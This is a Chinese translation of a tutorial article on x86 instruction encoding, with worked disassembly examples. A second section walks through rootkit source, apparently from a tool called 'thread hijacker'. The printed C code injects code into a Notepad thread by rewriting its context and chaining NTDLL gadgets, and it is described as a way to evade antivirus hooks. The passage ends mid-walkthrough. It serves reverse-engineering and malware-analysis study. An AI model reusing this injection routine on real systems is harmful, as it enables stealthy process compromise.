65.9K
CodeProject 正在变化。 阅读更多。
Home

x86 指令编码揭秘:位操作的乐趣与收益

starIconstarIconstarIconstarIcon
emptyStarIcon
starIcon

4.94/5 (32投票s)

2013年10月2日

CPOL

26分钟阅读

viewsIcon

66374

深入探讨如何反汇编 x86 指令集,以及如何在自己的代码注入中善加利用

引言

作为逆向工程师或恶意软件分析师,通常很容易相信反汇编器能够正确地将各种字节解析为代码或数据。然而,要成为专家,尽可能深入了解所使用的芯片的指令集架构 (ISA) 至关重要。这开辟了许多新的可能性:多态代码变得更容易处理,您能够在自己的 rootkit 中使用一些自定义反汇编技术,或理解他人使用的这些技术。

在本文中,我将尝试尽可能清晰地解释 x86 指令集的编码。作为一个新手,我曾为了将所有这些知识整合到我的大脑中而失眠了几个夜晚:关于如何理解指令集的信息散落在不同的地方,并且并不总是解释清楚(Intel 手册就是一个很好的例子)。所以我的主要目的是让初学者更容易理解这个主题,并为关于高级 x86 汇编的贫乏资源列表做出一点贡献。

在本文的第一部分,我将解释如何手动阅读和反汇编 x86 指令,然后通过几个例子进行讲解。在第二部分,我们将讨论恶意软件作者和分析师如何利用这些知识,通过检查一些使用极简反汇编技术进行代码注入的 rootkit 代码。

在我们开始之前,我先声明,文章第一部分的大部分内容可以在 Randall Hyde 的《汇编艺术》中找到更详细的解释,特别是这一章。Hyde 的书是掌握 x86 架构的最佳资源。请注意,我们目前只讨论 x86(32 位)指令集。我假设读者已经对 x86 汇编有相当的了解。

快速浏览 x86 指令结构

当你开始研究 x86 指令编码方案时,最重要的一点是记住它基本上是一个临时拼凑的产物。这个指令方案必须在很短的时间内从 8 位架构迅速演变为 32 位架构,同时还要保持向后兼容性。这绝非易事,但它也付出了代价,有时人们会觉得 Intel 的工程师只是将指令集的每次扩展都塞进了第一个可用插槽,而没有真正关注方案的整体整洁性或逻辑性。因此,弄清楚什么放在哪里有时会像一个充满相互矛盾的条件和模糊目标的混乱迷宫。一如既往,最好的解决方案是即使在困难时期也要坚持下去。最终一切都会变得相当容易。

上图相当全面地描述了 x86 指令可能采取的大多数形式。别慌。许多指令只使用一个或两个字节(标记为红色的那些是最重要的)。首先我们将介绍每个部分的含义。这必然是抽象的,所以如果第一次没有记住也不用担心。随着时间的推移,例子会使一切都变得清晰。我们来逐一讲解每个部分

指令前缀 - 这是一个可选的 1-4 字节集合,它们以某种方式修改或补充指令的默认行为。这最常用于向指令添加 REP 或 REPNE 前缀、使用 LOCK 前缀或覆盖指令使用的默认段。添加大小前缀还将允许我们更改指令使用的默认操作数或地址大小,因为大多数 x86 指令根据当前的芯片架构作用于默认操作数大小。一旦你掌握了全局,使用这些前缀就非常简单了,因此在本文中我们将忽略它们,以避免不必要的混乱。

指令操作码本身 - 这是实际的指令代码,可选地以扩展码(0x0F)作为前缀。大多数流行的指令只有一个字节长(即,没有 0x0F 前缀),因此为了简单起见,我们在此处反汇编的大多数指令将只使用一个字节操作码。当整个指令由单个一个字节操作码组成,并且该指令需要一个操作数(例如,PUSH 或 POP)时,该字节还将包含一个可变的 3 位字段来指定正在操作的寄存器。更多内容将在示例中介绍。

Mod-Reg-R/M 字节 - 这个字节决定了指令的操作数及其相关的寻址模式。为了理解这个字节在指令结构中的含义,我们首先需要快速了解 x86 编码中每个寄存器的三位(这些位字段将出现在几个不同的地方,稍后将解释)。以下是如何解码 x86 编码中的三位寄存器引用

000(十进制 0) - EAX(如果数据大小为 16 位则为 AX,如果数据大小为 8 位则为 AL)

001 (1) - ECX/CX/CL

010 (2) - EDX/DX/DL

011 (3) - EBX/BX/BL

100 (4) - ESP/SP (如果数据大小定义为 8 位,则为 AH)

101 (5) - EBP/BP (如果数据大小定义为 8 位,则为 CH)

110 (6) - ESI/SI (如果数据大小定义为 8 位,则为 DH)

111 (7) - EDI/DI (如果数据大小定义为 8 位,则为 BH)

虽然现在必须参考这张表可能很烦人,但在您自己解码一些指令后,它会变得习以为常。

现在我们来看看当这些 3 位编码放置在 Mod-Reg-R/M 字节中时,它们如何融入更大的方案。从上图可以看出,这个字节中的 Reg 和 R/M 部分各由三位组成。Reg 部分在大多数情况下将包含对寄存器的编码引用(操作码扩展的情况除外——稍后会详细介绍)。R/M 部分可以包含对寄存器的相同类型的引用,也可以包含一个代码,告诉处理器进一步利用 SIB 字节或位移字节。请注意,指令操作码本身决定了这些操作数中的哪一个是源,哪一个是目标。

理解 Mod-Reg-R/M 字节的关键是 2 位的 Mod 字段,其值决定了接下来的两个字段如何解释。让我们来看看四种可能的选项

00 - 间接寻址模式:获取 R/M 部分中指定的寄存器内找到的地址的内容。例如,当 Mod 位设置为 00 且 R/M 位设置为 000 时,寻址模式为 [eax](对 eax 中的地址进行解引用)。此规则有两个例外:当 R/M 位设置为 100 时——此时处理器切换到 SIB 寻址并读取 SIB 字节(接下来处理)——或 101 时,处理器切换到 32 位位移模式,这基本上意味着从位移字节(参见图 1)读取一个 32 位数字,然后进行解引用。

01 - 这与 00 基本相同,只是在解引用之前会向值中添加一个 8 位偏移量。

10 - 与上述相同,只是向值中添加一个 32 位位移。

11 - 直接寻址模式。将源寄存器中的值移动到目标寄存器(Reg 和 R/M 字节都将引用一个寄存器)。

这很难记忆,所以 osdev.org 的这张表是您处理各种 Mod-R/M 值的最佳帮手。

SIB 字节 - Scale-Index-Base 字节(按照其位字段的精确顺序方便地命名)用于索引寻址(非常适合数组等)。基本寻址模式是 [Base+(Index*Scale)],其中 Base 是基本数组偏移量,Scale 是数据大小(1、2、4 或 8 字节),Index 是要访问的数组中的位置。当然,事情并没有那么简单,Intel 不得不添加一些临时补丁以保持趣味性。最好不要为此太伤脑筋:只需将osdev.org 的表格放在手边即可。

位移字节和立即数字节 - 这些将用于指示与要引用的地址的常数偏移量,或指令要使用的常数值。我们将在示例中看到它们是如何使用的。

一些实际的反汇编

如果没有一些例子,这种复杂的编码方案可能很难理解。我们来做几个例子。

我们将从著名的函数序言开始,它为新函数设置堆栈。让我们看看函数开头在汇编中是什么样子,然后将其反汇编回原始的、人类可读的指令。查看函数开头时,您通常会看到以下字节序列:55 8B EC。让我们一个字节一个字节地分析。

在试图找出哪个字节对应哪个指令时,最好的资源是 MazeGen 的《X86 操作码和指令参考》。查看该页面,我们看到两组指令:单字节指令,或以指令扩展字节 0F 开头的双字节指令。我们现在正在查看值为 55 的字节。我们没有看到 0F 前缀,因此我们只需在单字节指令菜单中选择 55。

点击后,我们看到被定向到一个表格,其中最接近 55 的十六进制值是 50,数字旁边有一个 +r。这意味着 50 是指令第一个(最高有效)位的数值,而三个最低有效位包含操作数寄存器编码。这与我们之前讨论的编码相同。我们还看到指令字节值 50 对应于 PUSH 指令。

要获取有关指令的更多详细信息,是时候认识您的新朋友了:不幸但不可或缺的 Intel 64 和 IA-32 架构软件开发人员手册,这是地球上最晦涩的参考资料之一。从此处获取一份副本,跳到第 2 卷第 4 章,然后在指令参考中查找 PUSH。

如您所见,这里相关的操作码是 50+rd。根据英特尔的符号(英特尔手册第 2 卷第 3.1.1 节将为您提供全面的介绍),字节值末尾的 +rd 意味着与我之前描述的相同:三个最低有效位将指示操作数寄存器。您还可以看到 PUSH 指令可以有其他几种操作码变体:例如,68 后跟一个 32 位立即数将把该值压入堆栈。立即数的位长度由当前架构决定(即,32 位系统为 32 位,64 位系统为 64 位),并且可以通过在指令前缀保留位置添加大小前缀来覆盖。在教程的其余部分,我们将查看英特尔手册中的每条指令,并在必要时解释其符号。

查看图表,您可以看到指令的最后三位 101,指定 EBP 为操作数。因此,55 反汇编为 PUSH EBP,这是函数序言的第一条指令。

继续下一条指令,我们看到字节 8B。在 MazeGen 的表中查找,我们看到这是 MOV 指令的编码。跳转到 Intel 手册,我们看到 MOV 指令的这种特定编码在操作码列旁边有一个 /r,并且在 Op/En 列中有一个 RM。指令旁边的 /r 首先表示此指令需要一个 Mod-Reg-R/M 字节来表示其操作数,其次,该指令使用 Reg 和 R/M 字节来表示其操作数。Op/En 编码中的 RM 值表示操作的方向,源在右侧,目标在左侧:M 表示 R/M 字节,R 表示 Reg 字节。如您所见,这里的方向是从 R/M 到寄存器。

这里还要提到一个小技巧:在许多指令中,操作的方向由指令操作码中次低有效位决定——当该位关闭时,Reg 包含源操作数,R/M 包含目标操作数。当它打开时,情况则相反。例如,看看 8B (MOV R, R/M) 与 89 (MOV R/M, R)。如果我们快速将两个字节解析为二进制,我们会看到 8B 是 10001011,89 是 10001001。如您所见,后者中从右数第二个位是关闭的,这改变了指令的方向。最低有效位(寄存器位)在包括 MOV 在内的许多指令中,将决定指令操作数是 32 位(在相关架构中或使用大小覆盖前缀时为 16 位)还是 8 位。

由于我们已经知道下一个字节(0xEC)是 Mod-Reg-R/M 字节,这条指令的其余部分很容易解读。Mod 位是 11,这意味着我们使用的是直接寄存器寻址(而不是间接寻址)。Reg 位(101)表示目标操作数是 EBP,R/M 位(100)表示源是 ESP。

一个稍微更具挑战性的反汇编指令是 8D 44 38 02。从 8D 操作码开始并检查 MazeGen 的表格,我们看到这是 LEA 指令。转到 Intel 手册,我们看到 LEA 指令只有一种可能的变体,快速浏览 Op/En 列告诉我们操作数是 RM —— Reg 字段将给出目标操作数(必然是寄存器),而 M 字段将给出源操作数(一个内存位置)。

继续指令中的下一个字节,44,我们知道这必须是 Mod-Reg-R/M 字节,并相应地进行分析。我们得到一个 Mod 值为 01,这意味着 R/M 操作数将是内存中的一个位置,并且我们将在解引用地址并获取该内存位置的内容之前添加一个 8 位位移。我们还得到一个 Reg 值为 000,因此我们知道 EAX 是目标操作数,以及一个 R/M 值为 100,这意味着源操作数将由接下来的 SIB 字节的内容决定。

查看 SIB 字节,即 38,我们得到一个 Scale 值为 00,这意味着索引没有乘法。我们还得到一个 Index 值为 111 (EDI) 和一个 Base 值为 000 (EAX)。使用 SIB 字节的基本寻址公式是 Base + (Index*Scale),在本例中,这解析为 EAX+(EDI*1)。不要忘记我们正在使用 Mod 值 01,所以我们仍然需要向前看一个字节,并将该字节视为一个 8 位位移值,添加到我们通过分析 SIB 字节解析的地址中。该值为 02,所以我们得到的最终指令是:LEA EAX, [EAX+EDI+2]。通常,源操作数中计算的地址将被解引用,并从内存中获取内容,但我们正在查看 LEA 指令在算术运算中的经典用法,在这种情况下,存储在 EAX 中的是计算本身的结果(不一定是地址)。

在下一个示例中,我们将查看 CALL 指令——当您实际查看编码时,它会变成两条不同的指令。第一个编码 E8 使用相对寻址,第二个编码 FF 使用绝对寻址。

让我们尝试反汇编以下字节:FF 15 14 12 40 00。像往常一样查阅 MazeGen 的表格,我们看到有几个指令编码为 FF,包括 DEC、INC、CALL 和 JMP。这是怎么回事?表格中的下一列(标题为“o”表示操作码扩展)给了我们一个提示。我们看到此列中的数字区分了不同的 FF 编码指令。但这个字段是什么?这是操作码扩展的值,根据 Intel 手册,它是“一个介于 0 到 7 之间的数字(表示)指令的 ModR/M 字节只使用 r/m(寄存器或内存)操作数。reg 字段包含提供指令操作码扩展的数字”。

这实际上意味着为了区分这条指令,我们需要查看 Mod-Reg-R/M 字节。分析下一个字节(15),我们看到 Reg 字段的值为 010——或十进制 2。再次查看 MazeGen 的表格,我们看到 CALL 指令的操作码扩展是 2。对了!

接下来查看 Intel 手册,我们查找 CALL 指令,发现本例中相关的是 FF /2(/n 只是 Intel 手册中表示 Reg 字段中操作码扩展的方式,n 是扩展值),这是一个对绝对地址的调用。从手册中我们还可以看到,有另一个 CALL 指令,编码为 E8,它接受相对地址(指令旁边的 'cd' 仅表示它接受一个 4 字节值,在这种情况下是一个表示相对地址的立即值)。

接下来看 R/M 字段,我们看到它的值是 101,这与 Mod=00 一起,意味着 Mod-Reg-R/M 字节之后将跟随一个 32 位位移。将值 14 12 40 00 从小端序转换为大端序得到地址 0x401214,这在本例中恰好是 IAT 中的一个条目,它在加载时将保存函数的实际地址。

我们也来看看另一种 CALL。请看下面的指令:E8 19 C1 FF FF。从 MazeGen 的表格中我们看到这是 CALL 指令的第二个版本,它使用相对寻址,并且我们应该在指令之后查找一个 32 位值。这是 FFFFC119(从小端序转换后),当我们将其转换为有符号数时,得到负 3EE7。为了解析它引用的实际地址,我们取当前指令指针,加上指令占用的字节数(在本例中为 5),再减去相对地址。例如,如果我们要反汇编的指令出现在 40C9EF 处,我们在这个数字上加上 5,再减去 3EE7,最终得到地址 408B0D。在 Ida Pro 中,例如,这条指令将被反汇编为 call sub_408B0D

通过这几个示例,您应该已经掌握了在 Intel 手册中查找几乎所有指令的工具。

Rootkit 代码中的实际实现

能够理解原始操作码字节是一项非常强大的技能,因为它使您能够从最深层理解代码,并动态分析和操纵它。为了强调这一点,我们将简要分析一些利用这些技术将恶意代码动态注入远程线程的 rootkit 代码。

我们将分析的代码是 Echo 的《线程劫持器》。该程序通过避免使用 WriteProcessMemory API 函数(被恶意软件作者认为不安全)来采用另一种代码注入方法,而是通过使用 GetThreadContextSetThreadContext 直接操作特定的远程线程。我们应该注意,这种方法已经不像以前那样隐蔽了,并且对于这段特定的代码,在启用了 DEP 和 ASLR 的系统上也无法工作。但它非常适合我们的需求,因为作者利用了一些有趣的反汇编技术来执行注入。这些技术的本质可以用于许多 rootkit 实现或防御工具。

首先,Echo 的代码在不使用 OpenProcess(它会触发许多杀毒软件的钩子)的情况下获取 Notepad 进程远程线程的句柄,然后将该句柄传递给 HijackThread 函数。functionData 是恶意函数的代码。我们来看看代码

 window = FindWindow(NULL, "Untitled - Notepad");
 TIDNotepad = GetWindowThreadProcessId(window, NULL);
 if(HijackThread("notepad.exe", TIDNotepad, window, (PDWORD)functionData, 24, 16 - 1))
    ret = 0;  

HijackThread 函数完成了大部分工作,并调用了大多数其他重要函数。这是代码的真正核心。看一看,然后我们将逐步讲解,看看每个部分的作用

BOOL HijackThread(LPSTR processName, DWORD TDI, HWND window, 
           PDWORD injectionCode, DWORD injectionCodeSize, DWORD injectionSelfJmp)
{
    SCAN_RESULTS scanResult;
    CONTEXT contextOrg, contextThread;
    BOOL ret = FALSE;
    HANDLE thread;
    DWORD stackPosAddr, i;
    if(!processName || !injectionCode || !injectionCodeSize)
        return FALSE;
    if((thread = OpenThread(THREAD_SUSPEND_RESUME | 
              THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, TDI))){
        if(SuspendThread(thread) != -1){
            ZeroMemory(&contextOrg, sizeof(CONTEXT));
            contextOrg.ContextFlags = CONTEXT_FULL;
            if(GetThreadContext(thread, &contextOrg)){
                contextThread = contextOrg;
                if(ScanMOVJMP("NTDLL.DLL", &scanResult)){
                         if(scanResult.regSrc == EBX) contextThread.Ebx = scanResult.jmpAddr;
                    else if(scanResult.regSrc == EBP) contextThread.Ebp = scanResult.jmpAddr;
                    else if(scanResult.regSrc == ESI) contextThread.Esi = scanResult.jmpAddr;
                    else if(scanResult.regSrc == EDI) contextThread.Edi = scanResult.jmpAddr;
                    contextThread.Eip = scanResult.movAddr;
                    stackPosAddr = contextThread.Esp - scanResult.signedDisp;
                         if(scanResult.regDest == EBX) contextThread.Ebx = stackPosAddr - 4;
                    else if(scanResult.regDest == EBP) contextThread.Ebp = stackPosAddr - 4;
                    else if(scanResult.regDest == ESI) contextThread.Esi = stackPosAddr - 4;
                    else if(scanResult.regDest == EDI) contextThread.Edi = stackPosAddr - 4;
                    contextThread.Esp -= scanResult.espAdjust + 4;
                    SetThreadContext(thread, &contextThread);
                    WaitForSelfJMP(thread, window, scanResult.jmpAddr);
                    if(!SetProcessMemoryPrivs(processName, (LPVOID)((stackPosAddr - 4 + 
                          scanResult.signedDisp) - injectionCodeSize), 
                          injectionCodeSize, PAGE_EXECUTE_READWRITE)){
                        SetThreadContext(thread, &contextOrg);
                        ResumeThread(thread);
                        CloseHandle(thread);
                        return FALSE;
                    }
                    for(i = 0; injectionCodeSize; i++, injectionCodeSize -= 4)
                        WriteDWORD(thread, &contextThread, window, ((stackPosAddr - 4) - 
                          injectionCodeSize), injectionCode[i], scanResult.regSrc, 
                          scanResult.regDest, scanResult.jmpAddr);
                    contextThread.Eip = (stackPosAddr - 4 + scanResult.signedDisp) - (i * 4);
                    contextThread.Esp = contextThread.Eip - (i * 4);
                    SetThreadContext(thread, &contextThread);
                    WaitForSelfJMP(thread, window, contextThread.Eip + injectionSelfJmp);
                    SetThreadContext(thread, &contextOrg);
                    ret = TRUE;
                }
            }
            ResumeThread(thread);
        }
        CloseHandle(thread);
    }
    return ret;
}
BOOL ScanMOVJMP(LPTSTR dllName, PSCAN_RESULTS scanResult)
{
    HMODULE module;
    DWORD dllBase;
    PIMAGE_DOS_HEADER dosHeader;
    PIMAGE_NT_HEADERS ntHeader;
    PBYTE bytePos, byteEnd;
    INT scanStage = 0;
    if(!dllName || !scanResult || !(module = GetModuleHandle(dllName)))
        return FALSE;
    dllBase = (DWORD)module;
    dosHeader = (PIMAGE_DOS_HEADER)dllBase;
    if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;
    ntHeader = (PIMAGE_NT_HEADERS)(dllBase + dosHeader->e_lfanew);
    if(ntHeader->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;
    bytePos = (PBYTE)(dllBase + ntHeader->OptionalHeader.BaseOfCode);
    byteEnd = bytePos + ntHeader->OptionalHeader.SizeOfCode;
    while(bytePos < byteEnd){
        if(*bytePos == OP_MOV && !(scanStage & 1)){
            if(CheckMOV(bytePos, scanResult))
            {
                if(ScanRET(bytePos + ((scanResult->signedDisp == 0) ? 2 : 3), scanResult))
                    scanStage |= 1;
            }
        }else if(*bytePos == OP_JMP && !(scanStage & 2)){
            if(*(bytePos + 1) == JMP_NEG2){
                scanResult->jmpAddr = (DWORD)bytePos;
                scanStage |= 2;
            }
        }
        bytePos++;
    }
    return (scanStage == 3);
}
BOOL CheckMOV(PBYTE codeAddr, PSCAN_RESULTS scanResult)
{
    CPU_REGISTER regSrc, regDest;
    BYTE ModRMModbyte = ((codeAddr[1] & RM_MOD) >> 6);
    if(codeAddr && scanResult && ModRMModbyte < 2){
        regDest = (CPU_REGISTER)(codeAddr[1] & REG_MASK);
        regSrc  = (CPU_REGISTER)((codeAddr[1] >> 3) & REG_MASK);
        if(regSrc != ESP && regSrc != regDest){
            if(regSrc >= EBX && regSrc != EBP && 
                     regDest >= EBX && regDest != EBP){
                if(ModRMModbyte > 0){
                    if(regDest == ESP) return FALSE;
                    scanResult->movAddr = (DWORD)codeAddr;
                    scanResult->regSrc  = regSrc;
                    scanResult->regDest = regDest;
                    scanResult->signedDisp = (signed char)codeAddr[2];
                }else{
                    scanResult->movAddr = (DWORD)codeAddr;
                    scanResult->regSrc  = regSrc;
                    scanResult->regDest = regDest;
                    scanResult->signedDisp = 0;
                }
                return TRUE;
            }
        }
    }
    return FALSE;
}
BOOL ScanRET(PBYTE codeAddr, PSCAN_RESULTS scanResult)
{
    INT i;
    if(!codeAddr || !scanResult)
        return FALSE;
    for(i = 0, scanResult->espAdjust = 0; i < SCAN_LEN; i++){
        if((codeAddr[i] & POP_REGS) == OP_POP && codeAddr[i] != OP_POP + ESP){
            scanResult->espAdjust += 4;
            continue;
        }
        if(codeAddr[i] == OP_ADD && codeAddr[i + 1] == RM_ADDESP){
            scanResult->espAdjust += (signed char)codeAddr[i + 2];
            i += 2;
            continue;
        }
        if(codeAddr[i] == OP_RETN || (codeAddr[i] == OP_RET && codeAddr[i + 2] == 0x00))
            return TRUE;
        break;
    }
    return FALSE;
}
VOID WaitForSelfJMP(HANDLE thread, HWND window, DWORD addrSelfJMP)
{
    CONTEXT contextThread;
    if(!thread || !addrSelfJMP)
        return;
    contextThread.ContextFlags = CONTEXT_FULL;
    if(window){
        PostMessage(window, WM_NULL, 0, 0);
        PostMessage(window, WM_NULL, 0, 0);
        PostMessage(window, WM_NULL, 0, 0);
    }
    do{
        ResumeThread(thread);
        Sleep(THREAD_WAIT);
        SuspendThread(thread);
        GetThreadContext(thread, &contextThread);
    }while(contextThread.Eip != addrSelfJMP);
}
BOOL WriteDWORD(HANDLE thread, PCONTEXT contextThread, HWND window, DWORD destAddr, 
  DWORD source, CPU_REGISTER registerSource, CPU_REGISTER registerDest, DWORD jmpAddr)
{
    if(thread && contextThread && destAddr && jmpAddr){
             if(registerSource == EBX) contextThread->Ebx = source;
        else if(registerSource == EBP) contextThread->Ebp = source;
        else if(registerSource == ESI) contextThread->Esi = source;
        else if(registerSource == EDI) contextThread->Edi = source;
             if(registerDest == EBX) contextThread->Ebx = destAddr;
        else if(registerDest == EBP) contextThread->Ebp = destAddr;
        else if(registerDest == ESI) contextThread->Esi = destAddr;
        else if(registerDest == EDI) contextThread->Edi = destAddr;
        if(SetThreadContext(thread, contextThread)){
            WaitForSelfJMP(thread, window, jmpAddr);
            return TRUE;
        }
    }
    return FALSE;
}

这些是头文件的相关部分

#define OP_MOV      0x89
#define OP_POP      0x58
#define OP_ADD      0x83
#define OP_RETN     0xC2
#define OP_RET      0xC3
#define OP_JMP      0xEB
#define OP_CALL     0xE8
#define RM_ADDESP   0xC4
#define RM_MOD      0xC0
#define JMP_NEG2    0xFE
#define POP_REGS    ~0x07
#define REG_MASK    0x07
#define SCAN_LEN    32
#define THREAD_WAIT 100
typedef enum _CPU_REGISTER {
    EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI
}CPU_REGISTER;
typedef struct _SCAN_RESULTS {
    CPU_REGISTER  regSrc;
    CPU_REGISTER  regDest;
    char          signedDisp;
    int           espAdjust;
    unsigned long movAddr;
    unsigned long jmpAddr;
}SCAN_RESULTS, *PSCAN_RESULTS;

对于初学者来说,这是相当复杂的 C 代码,所以如果您符合这种情况,请不要惊慌。稍加努力就会变得清晰。让我们开始逐步讲解。首先,我们对 Notepad 线程(TDI 变量)调用 OpenThread,然后对其调用 SuspendThread,然后使用 GetThreadContext 调用填充一个本地 CONTEXT 结构体,其中包含线程的上下文数据。CONTEXT 结构体包含线程执行在特定时间点(已用 SuspendThread 暂停,因此这些值不会动态改变)所有寄存器的值。接下来,我们对字符串“NTDLL.DLL”调用 ScanMOVJMP 函数。

这个函数是开始发生有趣事情的地方。首先,函数获取 Ntdll 模块的句柄,然后通过以相当标准的方式读取 PE 头来获取 BaseOfCode 值(模块代码段的起始地址)。在此过程结束时,我们得到两个变量:bytePos,它作为代码段的起始地址,以及 byteEnd,它保存代码段结束的地址。然后我们进入一个简单的循环,遍历整个模块的代码。

等等,如果目标是通过线程将代码注入另一个进程,为什么我们要在自己的进程上下文中读取 Ntdll 呢?请记住,在不支持 ASLR 的系统(例如 Windows XP)中,Ntdll 对于每个进程总是加载到相同的基地址。这意味着如果我们查找 Ntdll 中的某些特定代码,该代码的地址在所有进程中都是相同的。

那么我们在寻找什么代码呢?在我们的主循环中,我们首先检查 *bytePos == OP_MOV。查看头文件,我们看到我们正在寻找的 OP_MOV 的特定代码是 0x89。跳转到 Intel 手册,我们看到 MOV 指令的这种特定编码接受 Reg 字段(在 Mod-Reg-R/M 字节中)中指示的寄存器内容,并将其移动到 R/M 位中指示的寄存器,或者移动到该寄存器中保存的地址。

看一看我们找到 MOV 指令后立即调用的 CheckMOV 函数。在了解指令编码之前,这几行代码可能没有多大意义

CPU_REGISTER regSrc, regDest;
BYTE ModRMModbyte = ((codeAddr[1] & RM_MOD) >> 6);
if(codeAddr && scanResult && ModRMModbyte < 2){
    regDest = (CPU_REGISTER)(codeAddr[1] & REG_MASK);
    regSrc  = (CPU_REGISTER)((codeAddr[1] >> 3) & REG_MASK);

ModRMModbyte 变量仅仅是用来保存 Mod-Reg-R/M 字节中 Mod 字段的值。这是通过获取指令操作码本身(由 codeAddr 指向)后的下一个字节,并将其与 RM_MOD 进行 AND 运算来完成的。参考头文件,RM_MOD 等于 0xC0,在二进制中是 11000000。如果您回忆一下,Mod 字段保存在 Mod-Reg-R/M 字节的前两位中。将此 AND 运算的结果向右移六位,我们最终得到变量中 Mod 字段的十进制值。此值将在 0 到 3 之间。接下来,代码检查此变量的值是否小于二——这意味着 Mod 字段的二进制值必须是 00 或 01,这意味着代码正在寻找通过 R/M 操作数的间接寻址——也就是说,它正在寻找一个 MOV 指令,该指令将值从寄存器移动到寄存器中保存的内存地址位置。

一旦我们找到符合条件的 MOV 指令,我们就将源和目标寄存器保存在 regDestregSrc 中。这是通过首先将 Mod-Reg-R/M 字节的值与 REG_MASK 进行 AND 运算来完成的,根据头文件,REG_MASK 是 0x07。这转换为 00000111,即字节的最后三位。我们使用这个简单的 AND 指令来获取 R/M 字段并将其值保存在 regDest 变量中。然后我们将 Mod-Reg-R/M 字节向右移动三位以获取 Reg 字段,并在与 REG_MASK 进行 AND 运算后将其值保存到 regSrc 中。

通过 CheckMOV 测试后,代码还会调用 ScanRET。要理解 ScanRET 的作用,我们还需要利用我们新获得的关于指令编码的知识

for(i = 0, scanResult->espAdjust = 0; i < SCAN_LEN; i++){
    if((codeAddr[i] & POP_REGS) == OP_POP && codeAddr[i] != OP_POP + ESP){
        scanResult->espAdjust += 4;
        continue;
    }
    if(codeAddr[i] == OP_ADD && codeAddr[i + 1] == RM_ADDESP){
        scanResult->espAdjust += (signed char)codeAddr[i + 2];
        i += 2;
        continue;
    }
    if(codeAddr[i] == OP_RETN || (codeAddr[i] == OP_RET && codeAddr[i + 2] == 0x00))
        return TRUE;
    break;
}

如您所见,我们正在进入一个 for 循环,从我们找到的 MOV 指令开始扫描 SCAN_LEN 字节,并寻找特定的指令。但是哪些指令呢?您可以看到当前字节的值与 POP_REGS 进行 AND 运算,POP_REGS 在头文件中定义为 ~0x07,即 11111000,因此我们将三位寄存器值清零,然后将结果与 OP_POP(POP 操作数代码,0x58)进行比较。然后我们检查我们是否没有弹出 ESP,然后将 espAdjust 值增加 4 字节(POP 指令从堆栈中截断的字节数)。接下来,我们运行相同的测试,看看是否遇到 ADD 指令将任何值添加到 ESP,从而降低堆栈。我们还将添加到 ESP 的量增加到 espAdjust 中。最终,当我们遇到 RET 指令时,如果尚未超过 SCAN_LEN,我们返回 TRUE。

这段代码的目的是什么,以及我们为什么需要以这种方式跟踪堆栈指针位置?我们很快就会得到答案,但首先让我们看看 ScanMOVJMP 循环是如何结束的

while(bytePos < byteEnd){
    if(*bytePos == OP_MOV && !(scanStage & 1)){
        if(CheckMOV(bytePos, scanResult))
        {
            if(ScanRET(bytePos + ((scanResult->signedDisp == 0) ? 2 : 3), scanResult))
                scanStage |= 1;
        }
    }else if(*bytePos == OP_JMP && !(scanStage & 2)){
        if(*(bytePos + 1) == JMP_NEG2){
            scanResult->jmpAddr = (DWORD)bytePos;
            scanStage |= 2;
        }
    }
    bytePos++;
}

如您所见,在通过 CheckMOVScanRET 之后,我们寻找一个非常具体的指令:JMP 指令,它将 0xFE (-2) 作为操作数。由于这条指令是 2 字节,它实际上做的是进入一个无限循环。这里美妙之处在于 Ntdll 代码本身不需要使用这条指令:我们只需要在组成 Ntdll 代码的字节海洋中找到任何地方的字节序列 EB FE,就可以开始了。在调试器中运行这段代码,您会看到它可能会在完全不同的指令中间捕获到这个字节序列。但只要指令指针指向这个特定地址,这就是处理器将执行的指令。我们寻找这条特定指令的原因也很快就会清楚。

我们现在准备查看代码的主要部分,并最终确切地理解它做了什么

if(ScanMOVJMP("NTDLL.DLL", &scanResult)){
         if(scanResult.regSrc == EBX) contextThread.Ebx = scanResult.jmpAddr;
    else if(scanResult.regSrc == EBP) contextThread.Ebp = scanResult.jmpAddr;
    else if(scanResult.regSrc == ESI) contextThread.Esi = scanResult.jmpAddr;
    else if(scanResult.regSrc == EDI) contextThread.Edi = scanResult.jmpAddr;
    contextThread.Eip = scanResult.movAddr;
    stackPosAddr = contextThread.Esp - scanResult.signedDisp;
         if(scanResult.regDest == EBX) contextThread.Ebx = stackPosAddr - 4;
    else if(scanResult.regDest == EBP) contextThread.Ebp = stackPosAddr - 4;
    else if(scanResult.regDest == ESI) contextThread.Esi = stackPosAddr - 4;
    else if(scanResult.regDest == EDI) contextThread.Edi = stackPosAddr - 4;
    contextThread.Esp -= scanResult.espAdjust + 4;
    SetThreadContext(thread, &contextThread);
    WaitForSelfJMP(thread, window, scanResult.jmpAddr);
    if(!SetProcessMemoryPrivs(processName, (LPVOID)((stackPosAddr - 4 + scanResult.signedDisp) - 
         injectionCodeSize), injectionCodeSize, PAGE_EXECUTE_READWRITE)){
        SetThreadContext(thread, &contextOrg);
        ResumeThread(thread);
        CloseHandle(thread);
        return FALSE;
    }
    for(i = 0; injectionCodeSize; i++, injectionCodeSize -= 4)
        WriteDWORD(thread, &contextThread, window, ((stackPosAddr - 4) - injectionCodeSize), 
            injectionCode[i], scanResult.regSrc, scanResult.regDest, scanResult.jmpAddr);
    contextThread.Eip = (stackPosAddr - 4 + scanResult.signedDisp) - (i * 4);
    contextThread.Esp = contextThread.Eip - (i * 4);
    SetThreadContext(thread, &contextThread);
    WaitForSelfJMP(thread, window, contextThread.Eip + injectionSelfJmp);
    SetThreadContext(thread, &contextOrg);
    ret = TRUE;
}

在这种情况下,contextThread 变量是 CONTEXT 结构体,它将保存我们将通过 SetThreadContext 传递给被注入线程的新上下文。我们从 ScanMOVJMP 返回并获得数据后做的第一件事就是将 MOV 指令的源寄存器设置为我们之前找到的 JMP -2 指令的地址。然后,我们将被注入线程的 EIP 寄存器设置为 MOV 指令,最后将该指令的目标寄存器更改为堆栈顶部上方一个位置的地址(并进行一些调整以考虑 MOV 指令中签名的处置)。

下一行将阐明我们为何一直计算堆栈位置的变化并将其保存在 espAdjust 中。在这里,我们将注入线程的 ESP 寄存器减去调整值,从而创建一种“堆栈空洞”。当代码执行时,我们知道这个空洞中的垃圾数据将被弹出堆栈,直到我们到达 RET 指令时,ESP 将指向 stackPosAddr —— 这是我们修改的 MOV 指令移动 JMP -2 指令地址的地方。一旦我们执行 SetThreadContext,我们将有效地强制线程进入一个无限循环。

